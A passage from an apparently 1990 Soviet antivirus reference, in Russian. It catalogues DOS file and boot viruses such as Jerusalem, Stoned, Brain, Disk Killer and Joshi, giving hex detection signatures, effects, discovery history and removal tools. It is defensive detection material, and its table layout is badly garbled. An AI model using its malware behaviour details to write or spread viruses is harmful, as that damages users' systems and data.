│С2│7C0226A186002E89877E02B85AA5CD21 штамм 2 │ревизора, не контролирующего наличие вируса │ │ │ │ │ │T1│Eddie lives...somewhere in time! │в памяти приводит (на зараженной машине) │ │ │ │ │ │T2│Diana P. │к заражению всех проверяемых файлов │ │ │ │ │ │T3│This program was written in the city │ │ │ │ │ │ │+ │of Sofia (C) 1988-89 Dark Avenger │ │ │ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-25, │RCE-1805 │TP │4│>│D │An Bm By Cy Dn Es Itp-tp Jx K11 Li Se │см. TP-24 │ Музыкальная │ │ │ │ │P │256 < LenCE < MaxC │ │ перезагруз│ │ │ │ │H │1,9,21 │ │ ка-25, │ │ │ │ │M │35 CD 21 8B F3 8C C7 │ │ *$ Vacsina │ │ │ │ │B1│9C FA 2E FF 1E 14 00 C3 │ │ │ │ │ │ │B2│F4 7A 19 │ │ │ │ │ │ │ │ │ │ FC │ │ │ │ │ │ │J │E8 00 00 5B 2E 89 87 6D FC 2E FE 87 71 │ │ │ │C │2125BAA000CD21B80125BA6205CD21BA │ │ │ │F │TP48CLS, AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ * Jerusalem │RСE-1813 │Ier│5│>│D │Ad Bvs Cn Dn Ee Ihc-tmp Jn K1m L1808 Se │Израиль(Иерусалим): дек. 1987,Yisrael Radai;│ (Иерусалим), │ │ │ │ │+ │To Zoex │СССР: осень 1988. │ Black Fridaу │ │ │ │ │P │0 < LenCE < +oo │Уменьшение быстродействия, "зависание" DOS с│ (Черная │ │ │ │ │H │8,21 │сообщением Stack overflow; появление на │ пятница), │ │ │ │ │M │122EC7061F000100505156 штамм B │экране черного квадрата в левом углу. │ Israeli virus │ │ │ │ │M │E9920000000000000000000 штамм B-2 │уничтожение запускаемых программ по пятницам│ (Израильский │ │ │ │ │I │8ED0BC000750B8C50050CBFC062E8C0631 │приходящимся на 13 число. │ вирус), │ │ │ │ │+ │002E8C0639002E8C063D002E8C0641008CC0 │ Один из наиболее распространенных во всем│ Black Hole │ │ │ │ │J │FC B4 E0 CD 21 80 FC E0 73 16 80 FC 03 72 │мире вирусов (включая СССР). Пик эпидемии │ (Черная дыра) │ │ │ │ │T1│sUMsDos │в СССР отмечен весной и летом 1989 г. │ $Friday 13th │ │ │ │ │T2│COMMAND.COM │Имеются многочисленные штаммы. │ │ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ * Yankee Doodle-2│RE-1961 │ │1│ │D │Xm │Болгария, 1989; СССР: 1990 │ $ Yankee Doodle B│ │ │ │ │H │21 │При запуске зараженного файла │ │ │ │ │ │M │ │играется мелодия Yankee Doodle │ │ │ │ │ │C1│370881EE030103F38904BE390881EE03 штамм В1 │ │ │ │ │ │ │С2│E60681EE030103F38904BEE80681EE03 штамм В2 │ │ │ │ │ │ │T │mother fucker │ │ │ │ │ │ │F │AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ Bontchev │RCE-02000│DAv│3│<│D │As By Cy Ds Es Itc-tс Jn K11 Li Mlhm Ser │Болгария: начало 1990. │ (Бончев), │ │ │ │ │P │1959 < LenCE │Штамм RCE-1800. Уничтожает сектора │ * V2000, │ │ │ │ │H │ │диска после каждых 16 инсталляций. │ Диана-2 │ │ │ │ │B │E800005E81EE6300FC2EF69489072E81 │При выдаче команд DIR и т.п коррек│ │ │ │ │ │M │B4 51 E8 39 FD 8E C3 26 8B │тирует длину зараженных файлав (опре│ │ │ │ │ │C │F71FC40684002E898418082E8C841A08 │деляя их по значению 62 в поле секунд), │ │ │ │ │ │T1│Zopy me - I want to travel │вычитая из нее 2000. │ │ │ │ │ │T2│(c) 1989 by Vesselin Bontchev. │ │ │ │ │ │ │TC│Диана П. │ │ │ │ │ │ │F │AV, -V, AIDSTEST │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-34, │RCE-2568 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmt Se │ см. TP-33 │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │ │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │ │ │ │ │ │ │B │F4 7A 22 │ │ │ │ │ │ │C │2125BAF402CD21B80125BAA707CD21BA │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-33, │RCE-2680 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │При трассировке на зараженной ПЭВМ │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │наблюдается эффект самоизлечения. │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │В 17.00 исполняется мелодия Yankey Doodlе │ │ │ │ │ │B │F4 7A 21 │Dandy │ │ │ │ │ │C │25BA0403CD21B80125BA0D08CD21BAD1 │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-38, │RCE-2756 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │Данная и последующие версии группы │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │TP-вирусов не видны при просмотре │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │списка резидентных программ. Выкусывает ви- │ │ │ │ │ │B │F4 7A 26 │рус RCE-1805 при заражении программ. │ │ │ │ │ │C │2125BA6403CD21B80125BA8A08CD21BA │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-39, │RCE-2772 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │см. TP-38 │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │ │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │ │ │ │ │ │ │B │F4 7A 27 │ │ │ │ │ │ │C │ │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-44, │RCE-2885 │TP │5│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │См. TP-41 │ Самоед-44, │ │ │ │ │P │32 < LenCE │Мелодия Yankey Doodlе Dandy проигрывается │ Five o'clock │ │ │ │ │H │1,3,1C,21 │в 17.00 не каждый раз, а с вероятностью 1/8 │ │ (17 часов), │ │ │ │ │B │F4 7A 2C │ │ *$Yankey Doodlе │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │J │E8 00 00 5B 81 EB D4 07 2E C6 87 5C 00 FF │ │ │ │ │ │ │C │0125BAF708CD21BA37029C8BC3052C09 │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-45, │RCE-2901 │TP │3│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │см. TP-44 │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │ │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │B │F4 7A 2C │ │ │ │C │2125BAC803CD21B80125BAFF08CD21BA │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ TP-41, │RCE-2932 │TP │4│>│D │An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se │См. TP-39 │ *$Yankey Doodlе │ │ │ │ │P │32 < LenCE │ │ (Янки Дудль) │ │ │ │ │H │1,3,1C,21 │ │ │ │ │ │ │B │F4 7A 2C │ │ │ │ │ │ │C │0125BAF108CD21BA22029C8BC3052609 │ │ │ │ │ │ │T │ "0505050505050505"h ((8)05h) │ │ │ │ │ │ │F │TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT │ │ │ │ │ │ │ │ │ │ ─────────────────┼─────────┼───┼─┼─┼──┼───────────────────────────────────────── ─┼────────────────────────────────────────────┤ │*#$ 4096 │RCE-04096│St │2│<│D │An Cp Dy Macfl To Zet │Израиль: январь 1990. ОЧЕНЬ ОПАСЕН !!! │ │ 4K, │ │!!!│ │ │DP│6K < LenC │Загружается в старшие адреса,"откусывая" 6K.│ │ 100 Years virus│ │ │ │ │H │s21 │В зараженных файлах к году создания добавле-│ │ Century virus, │ │ │ │ │M1│33 FF B9 D0 07 B8 20 07 F3 AB BE /* ?? */│но 100 (команда DIR показывает две последние│ │ Frodo, │ │ │ │ │M2│FF 76 06 2E 8F 06 B3 12 /* ?? */│цифры) и их длина возрастает на 4K, хотя при│ │ Hiding, │ │ │ │ │M3│F6 2E 8F 06 41 12 2E 8F 06 43 /* ?? */│резидентном вирусе увеличение длины не видно│ │ IDF Virus, │ │ │ │ │B │81FC0001770233E48BE8E80000 │При заражении иногда не обновляет заголовок │ │ Stealth Virus │ │ │ │ │ │ │EXE-файла, что вызывает сообщения MS DOS: │ │ │ │ │ │ │ │ │ ERROR in EXE File. │ │ │ │ │ │ │ │Меняет FAT,сращивая файлы (видно по CHKDSK/F│ │ │ │ │ │ │ │С 22 сентября 1990 при запуске любого │ │ │ │ │ │ │ │инфицированного файла компьютер зависает. │ │ │ │ │ │F │ CLEAN v66+ (СП 7-90) │Подробнее вирус описан ниже │ │ │ │ │ │ │ │ │ ─────────────────┴─────────┴───┴─┴─┴──┴───────────────────────────────────────── ─┴────────────────────────────────────────────┘ ──────────────────┬────────┬───┬─┬─┬──────────────────────────────────────┬───── ────────────────────────────────────────────────┐ │Класси- │ Г │Р│Д│ Дескриптор, сигнатуры и фаги │ │ Неформальные │фикаци- │ р │а│и├──┬───────────────────────────────────┤ Страна и дата обнаружения, │ названия │онный │ у │с│н│В │ │ фамилия исследователя обнаружевшего │ │код │ п │п│а│и │ Значение │ и изолировавшего вирус (если известны), │ │вируса │ п │р│м│д │ │ вызываемые эффекты │ │ │ а │о│и│ │ │ │ │ │ │с│к│ │ │ │ │ │ │т│а│ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ *#$ Stoned, │ M-05 │ │5│>│D │ L440 N1 S0.1.3-0.0.7 Mn │Австралия: 1988; СССР: лето 1989 │ ("забалдевший"),│ │ │ │ │DR│u 2K │При загрузке MS DOS с вероятностью 1/8 на экран │ Marijuana │ │ │ │ │J │ EA0500 │выдается сообщение "Your PC is now Stoned",затем пос-│ (Марихуана), │ │ │ │ │M1│00 53 51 52 06 56 57 │ле некоторой паузы продолжается нормальная загрузка. │ New Zealand │ │ │ │ │M2│9C 2E FF 1E 09 00 │Если винчестер разбит более чем на 4 логических диска│ (Новая Зеландия)│ │ │ │ │I │1E5080FC02721780FC0473120AD2750 │обычным VDISK или DiskManager, то при заражении │ │ │ │ │ │+ │E33C08ED8A03F04A8017503E80700 │затирается часть PARTITION TABLE c информацией о │ │ │ │ │ │T │ Your PC is now Stoned │положении пятого и последующих разделов винчестера │ │ │ │ │ │T │ LEGALISE MARIJUANA! │Вирус не проверяет, записаны ли в секторе 0/1/3 дан- │ │ │ │ │ │ │ │ные или нет.Для дискеток с большим количеством мелких│ │ │ │ │ │ │ │файлов или подкаталогов возможна потеря информации. │ │ │ │ │ │ │ │Имеется штамм, записывающий хвост по другому адресу │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ Italian Bouncing│Bx1-1C-a│PP │5│>│D │ L512+471 N2 Sx1 Mn │Италия (Турин): 03.88; СССР: весна 1989 │ (Итальянский │ │ │ │ │DR│u 2K │Двигающийся по экрану светлый ромбик, отражающийся от│ попрыгунчик), │ │ │ │ │J │ EB1C90 │границ экрана и символов псевдографики. На цветном │ *$ Ping-Pong │ │ │ │ │M │ 595B58071FEA (штамм А) │мониторе возможно изменение цвета отдельных символов │ (пинг-понг), │ │ │ │ │M │ A1F581A3F57D8B36F981 (штамм В) │или полей. Самый распространенный в СССР бутовый ви-│ Bouncing Dot │ │ │ │ │I │ 8ED8A113042D0200A31304B106D3 Имеется штамм с 2-мя двигающимися символами. │ движущаяся точка), │ │ │ │+ │ E02DC0078EC0BE007C8BFEB90001 │После появления ромбик продолжает двигаться до пере- │ Bouncing Ball │ │ │ │ │ │ │загрузки компьютера.Инфицирование дискеток происходит│ прыгающий мячик),│ │ │ │ │ │ │очень быстро. При просмотре карты инфицированного │ Vera Cruz, │ │ │ │ │ │ │диска виден один сектор, отмеченный как сбойный │ │ │ │ │ │ │ │Оригинальная версия работоспособна только на PC/XT. │ │рус. ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ Modified │Bx1-1C-b│PP │1│ │D │ L512+510 N2 Sx1 Mn │Штамм, модифициpованный виpусом │ Ping Pong │ │ │ │ │DR│u 2K │Yankee Doodle. Размножение │ Модифицированный│ │ │ │ │J │ │ограничено 255 заражениями. │ пинг-понг) │ │ │ │ │B │ 891E2C7D8A16F87DE94103 │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ Hacked Ping Pong│Bx1-1C-с│PP │1│ │D │ L512+293 N2 Sx1 Mn │Данный штамм размножается, но из-за внесенных │ (Искромсаный │ │ │ │ │DR│u 2K │изменений визуальный эффект (двигающийся ромбик) │ пинг-понг) │ │ │ │ │B │ 8ED88ED0BC007C │отсутствует. │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ *# Brain │ Dx3-E9a│ │1│ │D │ L512+1214 N1 Sx3 Mr │Пакистан (Лахор):1986; │ (Брейн) │ │ │ │ │DR│u 7K │США: октябрь 1987, Anne E. Webster │ Brain-86 │ │ │ │ │J │ FAE94A │ │ │ │ │ │ │I │ 8CC88ED88ED0BC00F0FBA006 │Переименовывает зараженные дискеты, проставляя метку │ │ │ │ │ │+ │ 7CA2097C8B0E077C890E0A7CE85700 │" (c) Brain" │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ *#$Ashar │ Bx3-E9 │ │1│ │D │ L512+1214 N1 Sx3 Mr │США: 1989 │ (Ашар) │ │ │ │ │DR│u 7K │СССР(Москва): конец 1989, Лозинский Д.Р. │ Shoe_Virus, │ │ │ │ │J │ FAE94A │ │ │ │ │ │ │I │ 8CC88ED88ED0BC00F0FBA006 │Переименовывает зараженные дискеты, проставляя метку │ UIUC Virus │ │ │ │ │+ │ 7CA2097C8B0E077C890E0A7CE85700 │ . Заражает винчестер. При просмотре │ │ │ │ │ │M │ 8D88ED0BC00F0FBA006 │зараженного бутсектора подставляет оригинальный │ │ │ │ │ │T │ Welcome to the Dungeon │бутсектор из хвоста вируса. Поэтому увидеть │ │ │ │ │ │T │ (c) 1986 Basit & Amjad (pvt) Ltd. │содержимое зараженного бутсектора можно только │ │ │ │ │ │T │после загрузки с защищенной дискеты с │ │ │ │ │T │ │ │ │ │ │T │ │ │ │ │ │T │ │ │ │ │ │T │ │ │ │ │ │T │ │ BRAIN COMPUTER SERVICES MS DOS │ │ LAHORE-PAKISTAN │ │ VIRUS_SHOE RECORD, v9.0. │ │ Dedicated to the dynamic memories│ │ of millions of virus who are │ │ no longer with us │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ *#$ Brain │ Dx3-E9s│ │1│ │D │ L512+1214 N1 Sx3 Mr │Сингапур ?: 1988 │ (Брейн) │ │ │ │ │DR│u 7K │СССР(Днепропетровск):весна 1990 (А.Сесса). │ Brain-88, │ │ │ │ │I │ 8CC88ED88ED0BC00F0FB │Штамм вируса BRAIN │ Singapore Brain, │ │ │ │+ │ A0067CA2097C8B0E077C890E0A7CE85900│разработанный, по видимому │ (Сингапурский │ │ │ │ │M │ A0067CA2097C8B0E077C │в Сингапуре в 1988 году. │ вирус), │ │ │ │ │M │ 208CC88ED88ED0 │ │ Pakistani Brain,│ │ │ │ │T │(C) 1988 Basit & Amjad (pvt) Ltd. │ │ (Душманские мозги)│ │ │ │ │T │Lahore,Pakistan. │ │ Basit │ │ │ │ │T │Ver (Singapore) │ │ (Базит) │ │ │ │ │T │Beware of this "virus". │ │ │ │ │ │ │T │It will transfer to million of Disk│ │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ *#$ Disk Killer │ Bx3-EB │!!!│5│<│D │ L505+1698 N1 Sx3/t0 Mn │Тайвань; США(Калифорния): апрель 1989; │ (Дисккиллер), │ │ │ │ │DR│u 8K │СССР: конец 1989 │ OGRE (Людоед) │ │ │ │ │J │ FAEB4F │Уничтожает логический диск С винчестера, полностью │ │ │ │ │ │M │ C310E2F2C606F301FF90EB55 │перезаписывая его содержимое. На винчестере │ │ │ │ │ │T │Disk Killer -- Version 1.00 │располагается в секторах, расположенных после MBR. │ │ │ │ │ │T │by COMPUTER OGRE 04/01/1989 │Вирус может записать свой хвост в сектора, принадле- │ │ │ │ │ │ │ │жащие файлу, тем самым уничтожая его содержимое │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │ *$ Den Zuk │ D-29 │ │2│<│D │ │Венесуэла или Индонезия: 1989; │ │ (Ден-зук), │ │ │ │ │DR│u 8K │СССР(Москва): июнь 1990 (Алексеев С.) │ │ Search │ │ │ │ │J │ EB2990 │Заражает только дискеты. Тело вируса размещается на │ │ (Поиск), │ │ │ │ │M │8E C0 BE C6 7C BF 00 7E дорожке (адрес 40/0/33) дискеты и при обычном │ │ Venezuelan │ │ │ │ │I │FA8CC88ED88ED0BC00F0FBB8787C50C3 │копировании дискеты теряется. При попытке "мягкой" │ (Венесуэльский) │ │ │ │ │ │ │перезагрузки клавишами Ctrl-Alt-Del на экран выдается│ │ │ │ │ │ │ │надпись "DEN ZUK". Подобно программам защиты от копи-│ │ │ │ │ │ │ │рования вирус размечает 41 дорожку нестандартно │ │ │ │ │ │ │ │нумеруя сектора 33-42 вместо обычных 1-9 │ │41 ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ *# Joshi, │WM-1F │ │ │ │D │ L512+ N1 S 40.1.1-40.1.5 Mr │Индия: июнь 1990. СССР (Москва, Киев) июль 1990 │ (Джоши), │ │ │ │ │DR│wu 6K │(Лозинский Д.Н.,Литвинов Б.) │ Happy Birthday │ │ │ │ │DH│8, 9, 13, 21 │Наиболее скрытный и тщательно маскирующийся из попав-│ (С днем рожденья)│ │ │ │ │M │F3 A4 8C C0 05 20 00 8E C0 BB │ших в CCCР. Заражает как 360К, так и 1.2М дискеты, │ │ │ │ │ │T │Type "Happy Birthday Joshi" !$ │Зараженный MBR при резидентном вирусе не виден.Хранит│ │ │ │ │ │ │ │хвост на дополнительной дорожке (41 для 360К дискет, │ │ │ │ │ │ │ │81 для 1.2М дискет). Характерной особенностью являет-│ │ │ │ │ │ │ │ся возникновение проблем с дискетами 1.2M на заражен-│ │ │ │ │ │ │ │ных компьютерах (пропадание формата 1.2 из меню PC │ │ │ │ │ │ │ │TOOLS, сбои отформатированных дискет при записи и др)│ │ │ │ │ │ │ │5 января вирус активируется и выдает на экран сообще-│ │ │ │ │ │ │ │ние "type Happy Birthday Joshi". Если пользователь │ │ │ │ │ │ │ │ответит "Happy Birthday Joshi" то работоспособность │ │ │ │ │ │ │ │операционной системы сохраняется. │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ──────────────────┴────────┴───┴─┴─┴──┴───────────────────────────────────┴───── ────────────────────────────────────────────────┘ ПРИЛОЖЕНИЕ 2 КЛАССИФИКАЦИОННАЯ ТАБЛИЦА БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В CCCР В приводимой ниже таблице собраны сведения о бутовых вирусах, обнаруженных в СССР по состоянию на 12.09.90. Ниже следуют замечания по ее структуре и организации: 1. Бутовые вирусы обычно перехватывают прерывание 13h и поэтому конфликтуют с драйверами накопителей на гибких дисках, реализующими нестандартные форматы ( например драйвером 800.COM ). При этом могут возникать ошибки типа деления на ноль, зависание системы, а также искажение записываемой на гибкий диск информации. Данное проявление, как типичное, в классификационой таблице как правило не указано. 2. Символом "*" помечены названия вирусов, выдаваемые полидетектором Scan при обнаружении М-сигнатур, символом "#" - названия, используемые в VIRUS INFORMATION SUMMARY LIST, составленном Патрицией М. Хоффман (Patricia M. Hoffman) а символом "$" - названия, выдаваемые полидетектором TNTVIRUS (фирмы CARMEL). Символом "+" обозначено продолжение продолжение длинных I-сигнатур. Символы "hh" в классификационном коде вируса означают, что сведения о значении второго байта бутсектора отсутствуют. 3. Для незараженного бутсектора первые три байта бутсектора (J-сигнатура) равны EB3490h (обьектный код команды JMP, служащий для обхода таблицы параметров). 4. В дескрипторе boot-вируса отражены следующие свойства: A - деструктивные действия, выполняемые вирусом: b (block) - блокирует выполнение запускаемой программы или команды MS DOS; c (corrupt) - повреждает или искажает файлы данных или отдельные сектора, распределенных MS DOS; f (format) - выполняет форматирование дисков; i (ignore) - заменяет операции записи на операции чтения или верификации; h (hang) - "подвешивает" систему; р (parallel port) - искажает информацию передаваемую через параллельный порт; r (reboot) - вызывает внезапную перезагрузку системы; s (sector destruction) - уничтожает отдельные сектора диска; v (video effects) - искажает информацию в видеопамяти; w (write port) - пишет в порты; x - создает сбойные сектора; z (zip) - стирает информацию в файлах или на диске, а также в управляющих таблицах, например в таблице FAT; В - проявления вируса; a (abort) - появление запроса Abort, Retry, Ignore при попытке заразить программу, расположенную на защищенной от записи дискете; n (new files) - создает новые файлы; m (music) - исполняет мелодию или имеет какой-либо другой звуковой эффект; v (video effects) - создает визуальный эффект(ы); t (text message) - выдает на экран текстовые сообщения; s (slow down) - замедление работы компьютера; L - длины головы и хвоста вируса(байт), разделенные знаком "+". Если вирус состоит из одной головы, то приводится одна цифра. N - номер первого несовпадающего байта при сопоставлении зараженного и нормального секторов начальной загрузки; S - стратегия заражения: метод выбора жертвы: r - при обращении к дискете; в - при мягкой перезагрузке; место хранения "хвоста" вируса и оригинальной копии сектора начальной загрузки). Указывается через черточку в порядке "расположение на дискете - "расположение на винчестере"(при совпадении адресов для "винчестера" и дискеты адрес указывается один раз): xN - в N кластерах, помеченных вирусом как дефектные; tl - на последней дорожке дискеты или винчестера; t<цифра> - на дополнительной дорожке, например t40; N.N.N - по абсолютному адресу (цилиндр.головка.сектор) на дискете или "винчестере". М ("маскировка") - возможность просмотра содержимого зараженного сектора начальной загрузки при наличии вируса в ОЗУ (т.е. при работе в зараженной MS DOS): r - (redirection) при попытке просмотреть голову на диске резидентный вирус перехватывает соответствующую операцию чтения и перенаправляет ее на сектор, где хранится "оригинал" бутсектора или MBR c - тело вируса закодировано; n - маскировка отсутствует; R - (resident) положение в оперативной памяти, реакция на теплую перезагрузку и размер занимаемой памяти a - (available) - в неиспользуемой части оперативной памяти (не создавая MCB и не изменяя обьема свободной оператвной памяти; l - (low) в младших адресах, после последней загруженной к этому моменту резидентной программы; b - (buffer) в буферах MS DOS; h - (high) в старших адресах без изменения общего обьема оперативной памяти; u - (upper) в старших адресах памяти с соответствующим уменьшением общего обьема доступной системе оперативной памяти (по типу бутвируса); t - (TSR) - вирус создает дополнительный MCB, видный в списке резидентных программ как дополнительная "паразитная" резидентная программа; v - в области видеопамяти (адреса, за первыми 640K т.е большие А000:0000); w - (survive Warm reboot) "выживание" при теплой перезагрузке (возможно, в основном, для вирусов инсталлирующихся по типу u); <целое> - обьем оперативной памяти, резервируемый вирусом; Z - побочные проявления действий вируса: a - (attr) - изменение атрибутов при заражении файла, например a(r) снятие атрибута READ ONLY; b - (boot) - при заражении программ, запускаемых в файле AUTOEXEC.BAT, возможно зацикливание процесса загрузки; e f h o - появление ошибок типа деления на нуль, переполнения стека и т.п.; -(FAT) - искажения FAT - (hang) зависания системы - нарушение функционирования программ с оверлейной структурой. Например, возникновение ошибок при загрузке отдельных фаз оверлейной программы; r - нарушение работы некоторых резидентных программ вследствие использования вирусом общих с ними системных прерываний; t - (twins) сращивание цепочек в FAT; v - (video) - мерцание монитора или выдача на экран каких-то случайных последовательностей символов; x - (eXtended) повреждение расширенных EXE-файлов, т.е. таких, у которых длина, указанная в элементе оглавления больше длины, указанной в заголовке. При запуске таких программ в память загружается только то количество байтов, которое определено в заголовке файла. Оставшаяся область дискового пространства может использоваться как буфер или как неявный оверлей. ПРИЛОЖЕНИЕ 3 Классификационная таблица файловых вирусов, известных только по литературе ─────────────────┬──────────┬───┬─┬─┬─────────────────────────────────────────── ──┬────────────────────────────────────────────┐ │ │ Г │Р│Д│ Дескриптор, сигнатуры и фаги данного вируса │ │ Неформальные │ Классифи-│ р │а│и├──┬──────────────────────────────────────────┤ Страна и дата обнаружения, │ названия │ кационный│ у │с│н│B │ │ фамилия исследователя обнаружевшего │ │ код │ п │п│а│и │ Значение │ и изолировавшего вирус (если известны), │ │ вируса │ п │р│м│д │ │ вызываемые эффекты │ │ │ а │о│и│ │ │ │ │ │ │с│к│ │ │ │ │ │ │т│а│ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$ Lehigh │ С-0-346, │ │1│~│D │Az Bx Cо Di Imn Jn K1 L346 Mn │США(Лехайский универсистет): ноябрь 1987, │ (Лехайский) │ C-20 │ │ │ │DP│Name=COMMAND.COM & Atr != RH │Кеннет Ван Вук (Kenneth van Wyk) │ │ │ │ │ │M1│B7 21 02 C3 │Ищет файл СOMMAND.COM в корневом каталоге │ │ │ │ │ │M2│5B FF B7 21 02 C3 61 3A │текущего диска и заражает его не увел. длину│ │ │ │ │ │M3│5E 83 EE 03 8B DE 81 EB 91 01 │После четырех размножений уничтожает первые │ │ │ │ │ │C │505380FC4B740880FC4E7403E977018B │20 треков диска. Оригинальная версия увели- │ │ │ │ │ │I │505380FC4B740880FC4E7403E977018 │чивала длину зараженного СOMMAND.COM на 20 │ │ │ │ │ │+ │BDA807F013A75058A07EB07 │байт, изменяя дату. Возможно имеется штамм │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│не увеличивающий длину и не меняющий дату │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# 382 │СE-0-382 │ │1│ │D │Abk Cy Ion Sc Zh │июнь 1990, Тайвань │ │ │ │ │ │M │EB 00 2E C7 06 4B 02 00 00 B4 19 │Перезаписывает своим телом первые 382 │ │ │ │ │ │ │ │байта заражаемой программы. При запуске за-│ │ │ │ │ │ │ │раженной программы происходит зависание сис-│ │ │ │ │ │ │ │темы, появляются случайные символы на экра- │ │ │ │ │ │ │ │не дисплея, иногда диск начинает непрерывное│ │ │ │ │ │ │ │вращение, снимаемое только перезагрузкой. │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ После заражения всех файлов текущем ката-│ │ │ │ │ │ │ │логе переименовывает все EXE-файлы в COM │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$ 405 virus │ С-0-405 │ │2│~│D │Abk Cy Ion Sc │апрель 1989, Австрия │ │ │ │ │ │M │19 CD 21 26 A2 49 02 B4 47 04 01 50 │Перезаписывает своим телом первые 450 │ │ │ │ │ │C │19CD2126A24902B447040150FFFFFFFF │байтов заражаемой программы. │ │ │ │ │ │I │B8000026A2490226A24B0226A28B025 │ │ │ │ │ │ │+ │0B419CD2126A24902B4470401 │ │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*#$ 512 │ RC-O-512 │DAv│1│<│D │Cy │Болгария: ноябрь 1989, Весселин 